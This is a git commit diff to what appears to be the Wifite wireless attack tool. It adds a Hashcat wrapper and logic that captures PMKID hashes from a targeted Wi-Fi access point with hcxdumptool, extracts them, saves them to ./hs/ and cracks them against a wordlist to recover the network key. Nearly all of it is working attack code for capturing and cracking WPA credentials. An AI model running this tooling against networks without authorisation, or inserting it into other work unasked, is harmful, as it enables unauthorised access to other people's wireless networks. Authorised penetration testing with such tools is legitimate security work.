Added Hashcat library, PMKID is persisted in ./hs/ and re-used
This commit is contained in:
@@ -24,8 +24,60 @@ class AttackPMKID(Attack):
|
||||
self.pcapng_file = Configuration.temp('pmkid.pcapng')
|
||||
|
||||
|
||||
def get_existing_pmkid_file(self, bssid):
|
||||
'''
|
||||
Load PMKID Hash from a previously-captured hash in ./hs/
|
||||
Returns:
|
||||
The hashcat hash (hash*bssid*station*essid) if found.
|
||||
None if not found.
|
||||
'''
|
||||
if not os.path.exists(Configuration.wpa_handshake_dir):
|
||||
return None
|
||||
|
||||
bssid = bssid.lower().replace(':', '')
|
||||
|
||||
file_re = re.compile('.*pmkid_.*\.16800')
|
||||
for filename in os.listdir(Configuration.wpa_handshake_dir):
|
||||
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
|
||||
if not os.path.isfile(pmkid_filename):
|
||||
continue
|
||||
if not re.match(file_re, pmkid_filename):
|
||||
continue
|
||||
|
||||
with open(pmkid_filename, 'r') as pmkid_handle:
|
||||
pmkid_hash = pmkid_handle.read().strip()
|
||||
if pmkid_hash.count('*') < 3:
|
||||
continue
|
||||
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
|
||||
if existing_bssid == bssid:
|
||||
return pmkid_filename
|
||||
return None
|
||||
|
||||
|
||||
def run(self):
|
||||
# TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found.
|
||||
pmkid_file = None
|
||||
|
||||
# Load exisitng has from filesystem
|
||||
if Configuration.ignore_old_handshakes == False:
|
||||
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
|
||||
if pmkid_file is not None:
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE',
|
||||
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
|
||||
|
||||
# Capture hash from live target.
|
||||
if pmkid_file is None:
|
||||
pmkid_file = self.capture_pmkid()
|
||||
|
||||
if pmkid_file is None:
|
||||
return False # No hash found.
|
||||
|
||||
# Crack it.
|
||||
self.success = self.crack_pmkid_file(pmkid_file)
|
||||
return self.success
|
||||
|
||||
|
||||
def capture_pmkid(self):
|
||||
self.keep_capturing = True
|
||||
self.timer = Timer(60)
|
||||
|
||||
@@ -49,36 +101,49 @@ class AttackPMKID(Attack):
|
||||
|
||||
if pmkid_hash is None:
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE',
|
||||
'{R}Failed{O} to capture PMKID.')
|
||||
return False # No hash found.
|
||||
'{R}Failed{O} to capture PMKID\n')
|
||||
Color.pl("")
|
||||
return None # No hash found.
|
||||
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
|
||||
Color.clear_entire_line()
|
||||
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}\n')
|
||||
pmkid_file = self.save_pmkid(pmkid_hash)
|
||||
return pmkid_file
|
||||
|
||||
|
||||
def crack_pmkid_file(self, pmkid_file):
|
||||
'''
|
||||
Cracks file containing PMKID hash (*.16800).
|
||||
If cracked, saves results in self.crack_result
|
||||
Returns:
|
||||
True if cracked, False otherwise.
|
||||
'''
|
||||
with open(pmkid_file, 'r') as pmkid_handle:
|
||||
Color.pl("\nPMKID_FILE:%s HASH:'%s'" % (pmkid_file, pmkid_handle.read()))
|
||||
# Check that wordlist exists before cracking.
|
||||
if Configuration.wordlist is None:
|
||||
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not set.')
|
||||
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
|
||||
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
|
||||
key = None
|
||||
else:
|
||||
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID... ')
|
||||
Color.clear_entire_line()
|
||||
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
|
||||
key = Hashcat.crack_pmkid(pmkid_file)
|
||||
|
||||
if key is None:
|
||||
# Failed to crack.
|
||||
Color.pattack('PMKID', self.target, 'CRACK',
|
||||
'{R}Failed{O} to crack PMKID ')
|
||||
Color.clear_entire_line()
|
||||
Color.pattack('PMKID', self.target, '{R}CRACK',
|
||||
'{R}Failed{O} to crack PMKID\n')
|
||||
Color.pl("")
|
||||
return False
|
||||
else:
|
||||
# Successfully cracked.
|
||||
Color.pattack('PMKID', self.target, '',
|
||||
'{C}Cracked PMKID. Key: {G}%s{W}' % key)
|
||||
Color.pl("")
|
||||
Color.clear_entire_line()
|
||||
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}\n' % key)
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
|
||||
pmkid_hash, pmkid_file, key)
|
||||
pmkid_file, key)
|
||||
self.crack_result.dump()
|
||||
self.success = True
|
||||
return True
|
||||
|
||||
|
||||
@@ -111,6 +176,5 @@ class AttackPMKID(Attack):
|
||||
with open(pmkid_file, 'w') as pmkid_handle:
|
||||
pmkid_handle.write(pmkid_hash)
|
||||
pmkid_handle.write('\n')
|
||||
Color.pl('{G}saved{W}')
|
||||
|
||||
return pmkid_file
|
||||
|
||||
@@ -34,10 +34,7 @@ class AttackWPA(Attack):
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
handshake = None
|
||||
|
||||
# Capture the handshake ("do it live!")
|
||||
if handshake is None:
|
||||
# Capture the handshake (or use an old one)
|
||||
handshake = self.capture_handshake()
|
||||
|
||||
if handshake is None:
|
||||
|
||||
@@ -5,11 +5,10 @@ from ..util.color import Color
|
||||
from .result import CrackResult
|
||||
|
||||
class CrackResultPMKID(CrackResult):
|
||||
def __init__(self, bssid, essid, pmkid_hash, pmkid_file, key):
|
||||
def __init__(self, bssid, essid, pmkid_file, key):
|
||||
self.result_type = 'PMKID'
|
||||
self.bssid = bssid
|
||||
self.essid = essid
|
||||
self.pmkid_hash = pmkid_hash
|
||||
self.pmkid_file = pmkid_file
|
||||
self.key = key
|
||||
super(CrackResultPMKID, self).__init__()
|
||||
@@ -23,9 +22,6 @@ class CrackResultPMKID(CrackResult):
|
||||
('Access Point BSSID'.rjust(19), self.bssid))
|
||||
Color.pl('{+} %s: {C}%s{W}' %
|
||||
('Encryption'.rjust(19), self.result_type))
|
||||
if self.pmkid_hash:
|
||||
Color.pl('{+} %s: {C}%s{W}' %
|
||||
('PMKID Hash'.rjust(19), self.pmkid_hash))
|
||||
if self.pmkid_file:
|
||||
Color.pl('{+} %s: {C}%s{W}' %
|
||||
('PMKID File'.rjust(19), self.pmkid_file))
|
||||
@@ -41,15 +37,14 @@ class CrackResultPMKID(CrackResult):
|
||||
'essid' : self.essid,
|
||||
'bssid' : self.bssid,
|
||||
'key' : self.key,
|
||||
'pmkid_hash' : self.pmkid_hash,
|
||||
'pmkid_file' : self.pmkid_file
|
||||
}
|
||||
|
||||
if __name__ == '__main__':
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'abcd1234')
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
|
||||
w.dump()
|
||||
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'Key')
|
||||
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
|
||||
print('\n')
|
||||
w.dump()
|
||||
w.save()
|
||||
|
||||
@@ -94,7 +94,6 @@ class CrackResult(object):
|
||||
from .pmkid_result import CrackResultPMKID
|
||||
result = CrackResultPMKID(json['bssid'],
|
||||
json['essid'],
|
||||
json['pmkid_hash'],
|
||||
json['pmkid_file'],
|
||||
json['key'])
|
||||
result.date = json['date']
|
||||
|
||||
128
wifite/tools/hashcat.py
Normal file
128
wifite/tools/hashcat.py
Normal file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from .dependency import Dependency
|
||||
from ..config import Configuration
|
||||
from ..util.process import Process
|
||||
from ..util.color import Color
|
||||
|
||||
import os
|
||||
|
||||
|
||||
class Hashcat(Dependency):
|
||||
dependency_required = False
|
||||
dependency_name = 'hashcat'
|
||||
dependency_url = 'https://hashcat.net/hashcat/'
|
||||
|
||||
@staticmethod
|
||||
def crack_pmkid(pmkid_file):
|
||||
'''
|
||||
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
|
||||
Returns:
|
||||
Key (str) if found; `None` if not found.
|
||||
'''
|
||||
|
||||
command = [
|
||||
'hashcat',
|
||||
'--force',
|
||||
'--quiet',
|
||||
'-m', '16800',
|
||||
'-a', '0', # TODO: Configure
|
||||
'-w', '2', # TODO: Configure
|
||||
pmkid_file,
|
||||
Configuration.wordlist
|
||||
]
|
||||
|
||||
# TODO: Check status of hashcat (%); it's impossible with --quiet
|
||||
|
||||
try:
|
||||
hashcat_proc = Process(command)
|
||||
hashcat_proc.wait()
|
||||
stdout = hashcat_proc.stdout()
|
||||
except KeyboardInterrupt: # In case user gets impatient
|
||||
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
|
||||
stdout = ''
|
||||
|
||||
if ':' not in stdout:
|
||||
# Failed
|
||||
return None
|
||||
else:
|
||||
# Cracked
|
||||
key = stdout.strip().split(':', 1)[1]
|
||||
return key
|
||||
|
||||
|
||||
class HcxDumpTool(Dependency):
|
||||
dependency_required = False
|
||||
dependency_name = 'hcxdumptool'
|
||||
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
|
||||
|
||||
def __init__(self, target, pcapng_file):
|
||||
# Create filterlist
|
||||
filterlist = Configuration.temp('pmkid.filterlist')
|
||||
with open(filterlist, 'w') as filter_handle:
|
||||
filter_handle.write(target.bssid.replace(':', ''))
|
||||
|
||||
if os.path.exists(pcapng_file):
|
||||
os.remove(pcapng_file)
|
||||
|
||||
command = [
|
||||
"hcxdumptool",
|
||||
"-i", Configuration.interface,
|
||||
"--filterlist", filterlist,
|
||||
"--filtermode", "2",
|
||||
"-c", str(target.channel),
|
||||
"-o", pcapng_file
|
||||
]
|
||||
|
||||
self.proc = Process(command)
|
||||
|
||||
def poll(self):
|
||||
return self.proc.poll()
|
||||
|
||||
def interrupt(self):
|
||||
self.proc.interrupt()
|
||||
|
||||
|
||||
class HcxPcapTool(Dependency):
|
||||
dependency_required = False
|
||||
dependency_name = 'hcxpcaptool'
|
||||
dependency_url = 'https://github.com/ZerBea/hcxtools'
|
||||
|
||||
def __init__(self, target):
|
||||
self.target = target
|
||||
self.bssid = self.target.bssid.lower().replace(':', '')
|
||||
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
|
||||
|
||||
def get_pmkid_hash(self, pcapng_file):
|
||||
if os.path.exists(self.pmkid_file):
|
||||
os.remove(self.pmkid_file)
|
||||
|
||||
command = [
|
||||
'hcxpcaptool',
|
||||
'-z', self.pmkid_file,
|
||||
pcapng_file
|
||||
]
|
||||
hcxpcap_proc = Process(command)
|
||||
hcxpcap_proc.wait()
|
||||
|
||||
if not os.path.exists(self.pmkid_file):
|
||||
return None
|
||||
|
||||
with open(self.pmkid_file, 'r') as f:
|
||||
output = f.read()
|
||||
# Each line looks like:
|
||||
# hash*bssid*station*essid
|
||||
|
||||
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
|
||||
# Check that we got the right target (filter by BSSID)
|
||||
matching_pmkid_hash = None
|
||||
for line in output.split('\n'):
|
||||
fields = line.split('*')
|
||||
if len(fields) >= 3 and fields[1].lower() == self.bssid:
|
||||
# Found it
|
||||
matching_pmkid_hash = line
|
||||
break
|
||||
|
||||
os.remove(self.pmkid_file)
|
||||
return matching_pmkid_hash
|
||||
Reference in New Issue
Block a user